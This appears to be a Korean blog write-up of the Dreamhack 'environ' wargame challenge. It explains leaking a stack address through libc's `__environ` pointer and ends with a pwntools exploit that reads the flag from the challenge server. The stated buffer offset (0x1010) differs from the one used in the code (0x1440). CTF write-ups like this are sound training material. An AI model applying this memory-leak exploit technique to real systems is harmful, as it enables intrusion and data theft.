security/포너블 - dreamhack

[Dreamhack Wargame] environ

민사민서 2023. 6. 22. 01:37
  • libc_addr leak 가능하고
  • 임의의 주소의 값을 읽어올 수 있다면

__environ 변수를 이용해 stack address leak이 가능하다

 

how?

기본적으로 리눅스 바이너리는 스택 주소를 포함하지 않기 때문에 스택 주소를 전역 변수에 저장하는 코드가 있지 않는 한 바이너리 주소 내에서 스택 주소를 찾는 것은 불가능하다

환경 변수에 대한 정보는 스택 영역에 존재하며, 라이브러리 함수를 실행할 때에도 해당 정보를 참조하기 때문에 환경 변수를 가리키는 포인터가 라이브러리 내부에 별도로 선언되어 있다

__environ이라는 이름의 전역 변수
시스템 명령어를 실행하기 위한 execve 계열의 함수와 getenv 등 환경 변수와 관련된 함수에서 참조하는 변수

 

문제 풀이

  • Full RELRO      Canary found      NX enabled    PIE enabled
  • stdout에 담긴 _IO_2_1_stdout_ 값을 출력해주면서 libc_leak 가능
  • 원하는 주소에 담긴 값 leak 가능 (printf("%s") 이용)
  • read_file()에서 지역변수 file_buf[4096]에 "./flag" 내용을 읽어옴 => 플래그 값이 스택에 담겨있을 것
  • file_buf의 스택 상에서의 주소를 알아낸다면 flag leak 가능
minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/__environ$ md5sum /usr/lib/x86_64-linux-gnu/libc.so.6
3d7240354d70ebbd11911187f1acd6e8  /usr/lib/x86_64-linux-gnu/libc.so.6
minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/__environ$ md5sum ./libc.so.6 
3d7240354d70ebbd11911187f1acd6e8  ./libc.so.6

문제 파일의 ./libc.so.6과 내 로컬 환경의 라이브러리 파일이 동일하므로 걱정 없이 로컬에서 분석해도 되겠다

 

1. environ 변수의 offset 구하기

readelf를 이용해 ELF 파일의 내용 출력

-S 옵션으로 섹션 헤더 정보 확인 가능, -s 옵션으로 symbol table 분석 가능

minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/__environ$ readelf -s ./libc.so.6 | grep "environ"
   133: 0000000000221200     8 OBJECT  WEAK   DEFAULT   35 _environ@@GLIBC_2.2.5
   958: 0000000000221200     8 OBJECT  WEAK   DEFAULT   35 environ@@GLIBC_2.2.5

=> __environ 변수의 offset은 0x221200이다

 

gdb로 이중 포인터 char **__environ 의 주소를 찾아 offset 파악해도 된다

* 주의할 점은 정적으로 gdb ./environ 하면 __environ 이 ld 파일에 포함된 걸로 나온다..

* 동적으로 gdb.attach(p) 해야 제대로 나오더라

 

libc.symbols['__environ'] 해도 된다

 

2. environ 변수에 담긴 값(stack addr)과 버퍼의 offset 구하기

pwndbg> p/x $rbp
$8 = 0x7fffffffdda0
pwndbg> p/x 0x00007fffffffdec8-0x7fffffffdda0
$9 = 0x128

=> environ 포인터가 가리키는 주솟값과 main_rbp 간 offset 0x128

0x7fffffffdda0 main_rbp
0x7fffffffc960 read_file_rbp-0x1010

=> main_rbp와 read_file 스택 프레임의 buf 간 ofset 0x1010

 

3. exploit 코드

from pwn import *

# p = process("./environ")
p = remote("host3.dreamhack.games", 14764)
libc = ELF("./libc.so.6")

p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1],16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_'] # 0x21a780

environ = libc_base + libc.symbols['__environ'] # 0x221200

p.sendlineafter("> " , "1")
p.sendlineafter("Addr: ", str(environ))

main_rbp = u64(p.recv(6)+b'\x00'*2) - 0x128
buf = main_rbp - 0x1440

p.sendlineafter("> " , "1")
p.sendlineafter("Addr: ", str(buf))

p.interactive()

 

cf) vmmap [주소] 하면 편하네
pwndbg> vmmap 0x7ffff7f9d780
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x7ffff7f9c000     0x7ffff7f9e000 rw-p     2000 218000 /usr/lib/x86_64-linux-gnu/libc.so.6 +0x1780

cf) nm: 라이브러리나 실행파일에 특정 심볼(함수) 있는지 검색 가능, 근데 readelf 사용해도 됨
minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/__environ$ readelf -s ./libc.so.6 | grep "system"
  1481: 0000000000050d60    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5